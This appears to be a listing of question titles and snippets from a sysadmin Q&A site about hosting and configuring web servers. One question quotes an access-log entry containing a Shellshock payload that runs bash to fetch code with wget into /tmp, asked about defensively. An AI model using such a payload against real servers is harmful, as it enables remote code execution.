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Using CentOS virtual box guest OS as a local web server

I've installed CentOS as a virtual box os under my osx host, and have been trying to use it as a local web server, but I've run into some problems. First, I want to establish that I've installed ...
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Web Server Public ip address to be seen on webpage

I have a Raspberry Pi behind NAT running Linux and hosting a web server. I access the web page from outside via Yaler utility as I have Dynamic public ip address. Is there a way to show my current ...
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How do DNS servers work?

I know that a domain name is resolved by a DNS server to an IP address, which is then used to reach the requested server. I'm slightly embarrassed that I don't know some of the details of how this ...
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/sbin/php-fpm works while /bin/php doesn't

Compiled php 5.6.3 on centos with the following ./configure: ./configure \ --with-zlib-dir \ --with-freetype-dir \ --enable-mbstring \ --with-libxml-dir=/usr \ --enable-soap \ --enable-calendar \ ...
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How to troubleshoot router configuration for home webserver [closed]

How to troubleshootI installed lighttpd on my home computer and configured my router to allow external connections to port 80. When I start the webserver at 127.0.0.1:80, I can access 127.0.0.1 in a ...
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can't connect to local web server

when i try to connect to a web server installed on a pc in lan i can't get the index page, the computer is well configured because i can ping and ssh it: ping $ ping 172.16.69.196 PING 172.16.69.196 ...
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Unable to connect to thin server on ubuntu

I'm unable to connect to my webserver over the web. I've got an ec2 instance running with ubuntu 11.10 on it. It's running a thin server on port 9292. I can ssh into the ec2 box, and do curl ...
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PHP in Xampp Windows with ZTS support

i would like to add ZTS to PHP bundled in latest Xampp distribution on Windows. I need to use pthreads for a project and don't know how to do it. What's the way to enable both? Thank you very much
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Is a server able to record both the MAC address and the IP address of a computer which accesses it? [closed]

Is a server able to record both the MAC address and the IP address of a computer which accesses it? For example, when the server offers webpages or something to download.
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How do web-servers “listen” to IP addresses, interrupt or polling?

I'm trying to understand the lower details of web servers. I am wondering if a server, say Apache, is continuously polling for new requests or If it works by some sort of interrupt system. If it is an ...
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Secure PHP in user directories

I'm a sysadmin for a small server at my university, which is used by students to experiment and run long jobs at their will. I enabled PHP in user directories so they could experiment with websites ...
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I cannot see my web Server from behind my Linksys Router with ISP Static Address

I have a Zentyal Server with an external NIC (For Internet) and Internal NIC (For LAN) My problem is that I cannot see my Zentyal Server on the Internet. My 2nd problem is my domain name is not ...
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Can you direct incoming port 80 traffic to two different boxes, depending on what resource is requested?

Currently I host my website on one server, and my email on another. My email server is a Zentyal box, running Zarafa. I can access the webmail from inside the network by entering the server's IP ...
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Minimal nginx configuration for localhost?

I need to serve myself a few static HTML documents for test purposes (playing around with Mozilla addon development, need certain content to develop against). I thought I can just install a small ...
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root directory - www or public_html

Is the root directory where all files are kept (directly from accessing from FTP) always "www" or "public_html" depending on what OS? Or is it possible to rename this folder? And if so, what would be ...
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Apache can't load a web page after stopping in mac

I have Mac OS X 10.10. I configured my Apache to load web pages from Sites folder so when I boot my system Apache correctly loads my web pages from Sites Folder. When I type ps aux | grep httpd ...
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openerp-server stops and goes down

I've installed Odoo/OpnnERP, and I've put the openerp-server daemon in /etc/init.d to get it started automatically on Ubuntu startup. It gets started normally on every reboot and works fine. But ...
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How to host multiple php sites on one OpenShift app

How to make different domains point to different sub-directory? For Example: abc.com --> ./php/abc.com/ xyz.com --> ./php/xyz.com/ Can I create virtual hosts on OpenShift's app?
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Binding (mount) a filesystem with different user/group

This is a question that has been asked many times here, but it doesn't seem like there is a (working) answer. I have folders that belongs to a "web" user: /home/web/example.com/user1/ (uid=web, ...
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How to make Pixaria work without ini_set()?

I am working on a server which has Pixaria installed. After wasting (yes, completely wasted) hours trying to find out why it showed a blank page, I finally decided to try to enable ini_set() in ...
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What is the default folder for websites on Ubuntu?

Looking to create a website with Hyde/Django to server static pages. Running Ubuntu. Is there a certain folder or directory where I should be keeping this website? Should I just keep them in a ...
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openVPN server installation over single port?

First of all please understand that i am new to this i need to clear technical term before i actually do any research over it so please ignore my illitracy over the subject.. My company have VPN in ...
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Why is allowing root login via FTP( on cPanel) a considerable security risk?

I find it very convenient to administer my whole server by logging in as root. However, CSF tells me that it is a "considerable risk" to allow login to FTP via root, and other websites I googled ...
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Is my understanding of the WSGI path correct

My past web application experience is limited to a few Apache+PHP experiments. Starting from this background I've been reading up on using Python for REST services, and this is my current ...
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Show different txt file on different server

I have a .txt file, say robots.txt When I upload my code to my web server (on heroku), I want to deploy the same code to another web server (also heroku server). BUT I want the content of my ...
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Overwrite web files with locally stored versions of the file

My problem is thus: I would like to provide my own versions of css/js files that websites send to my client (browser), however all of the browser-based solutions for adding css and javascript to a ...
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Prevent direct access to webserver files

How can I prevent direct access to my /css and /scripts folders, and there contents? Also, is there a way I can prevent direct access to index.php? (The right way is to just go to my website, which ...
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how to shut down a server from the webinterface

I want to be able to shutdown my server remotely by clicking on a button on a web page. The server runs Ubuntu 14.04.1 64 Bit and a python web application. I have not decided which yet, but it will be ...
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How to configure a web server for local access?

I currently have a desktop at home set up as a web server among other functions. It is running Ubuntu 12.04 and Apache 2.2.22. I have various virtual servers set up for different sites. Some of the ...
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How do I set up SSL in wampserver

When transmitting sensitive data over the Internet its exposed to malicious users or links therefore ssl or ssh is adopted. I have wampserver in my local machine and would love help on how to set up ...
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How can I point my domain to a host without turning over the nameservers?

I have a domain name on GoDaddy, and a site hosted on Network Solutions. Not my choices -- I'm helping out a family member who already has that arrangement. Currently, the domain's nameserver records ...
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Configure a root directory in the ~/Sites directory

I'm building a web project with a very complicated and deeply nested directory structure. I'm looking for a way to set the parent directory of this project as the root in the sites folder so that I ...
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SSLv3 Disabled - Mild error message

Due to POODLE there is now a need to disable SSLv3 on servers. If a client connects to a server that no longer support SSLv3, and the client does not have TLS available the client displays some kind ...
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Unable to assign address to webhost

I am following this video http://www.youtube.com/watch?v=l86W-WKzhBo. At 6:16 he assigns web1 and web2 to 61 and 63. He was able to ping it afterwards. I however cannot ping it. The Destination is ...
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Making a server “read only” except for me (what the inbound/outbound rules mean)

I have an ec2 instance. It will start a webserver, and my public ip is myip. I ssh into my machine. What should incoming and outgoing rules? Why? I want only my ip to be able to change things on the ...
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Maximum concurrent sessions to a web server

As far as I understand connecting to a web server, as a new session is established from a client to the web server, they form a socket with a receiving and sending port for each machine. As the ...
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How to setup webserver with access restrictions

I need PHP webserver with two folders: www and www_hidden each will have its own database, then there will be two users: normal and admin. User normal can access only www through FTP and admin can ...
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Local webserver not accessible from local network using external IP / domain [duplicate]

I have a VM running a simple webhost. But whenever I try to connect to it using my external IP (148.123.29.35) or domain (test.mydomain.com (A-record to 148.123.29.35)), my browser just tries to ...
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Cannot access print queue - Server side printing vs Local printing

Scenario : User works on a desk top that is locally configured and connected to Printer ‘A’. Any print given directly from the desk top like a word doc or email or a web page, prompts the printer ...
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Do you need a static IP address to setup a Web Server?

I'm thinking of getting a virtual server with a Linux Debian operating system. Now, does a Web server need a static IP address to register to the DNS server and point the location? or how would you ...
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IIS 7 returns 404 for all requests

I have a default website and 2 applications underneath it. One is a WCF service on "http,net.tcp". The other is an asp.net site. When I browse to the service, static files, the asp.net site or the ...
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Router to handle 300 connections and run a web server [closed]

Is there a router that can handle 300 concurrent connections and run a lightweight web server? It seems most home routers wouldn't be able to handle that kind of load. It would be nice to be able to ...
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Is this an attack or something to be concerned about? Shellshock?

Saw this in the access.log on my test server : > 173.45.100.18 - - [26/Sep/2014:07:09:53 +0200] "GET /cgi-bin/hi HTTP/1.0" 404 490 "-" "() { :;}; /bin/bash -c \"cd /tmp;wget > ...
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Do I need more than one IP address to use Virtualmin on a clean dedicated server?

I just set up Virtualmin on a new dedicated server with nothing else installed, clean. The install seemed to go smoothly. I checked it said it was not ready to use Virtualmin so I rebooted and now it ...
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What space allocation should I allocate to partitions on a 1TB HDD on a dedicated server? [closed]

I am about to get a dedicated server. It comes with 1TB of space, which is enough for my needs at the moment. I will use it for: web hosting my sites and website files web hosting a couple client's ...
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is ajenti a cpanel/virtualmin replacement?

i am looking for a website account management on a server; i own and manage an almost classic "reseller" shared host VPS; i host several "Accounts", each account has 1 subdirectory, own domains ...
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Should I use my desktop computer as a web server or use a virtual machine?

I am building a website and I have come upon two options: A.) Use my desktop computer as the server or instead install a virtual machine on my laptop and use that as the server. It has been ...
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How to browse a website which allows directory browsing but has a default page?

There is a website which allows directory browsing; I know this for sure because I can browse directories where there is no default page. There is a directory which I want to browse, but it instead ...
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Putting LAMP Home Server Online

I have some website PHP/SQL code running well on localhost w/ Apache2 (on my computer). I also have a server running Scientific Linux 6.2. While I think I'd be able to figure out how to put things on ...
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Silent, power saving mini-server for home [closed]

I am looking for hardware to make a small, silent, power saving mini-server for use at home. My specifications are: Small Fanless / Small fan Able to run Windows server OS Has 2GB of RAM, ideally ...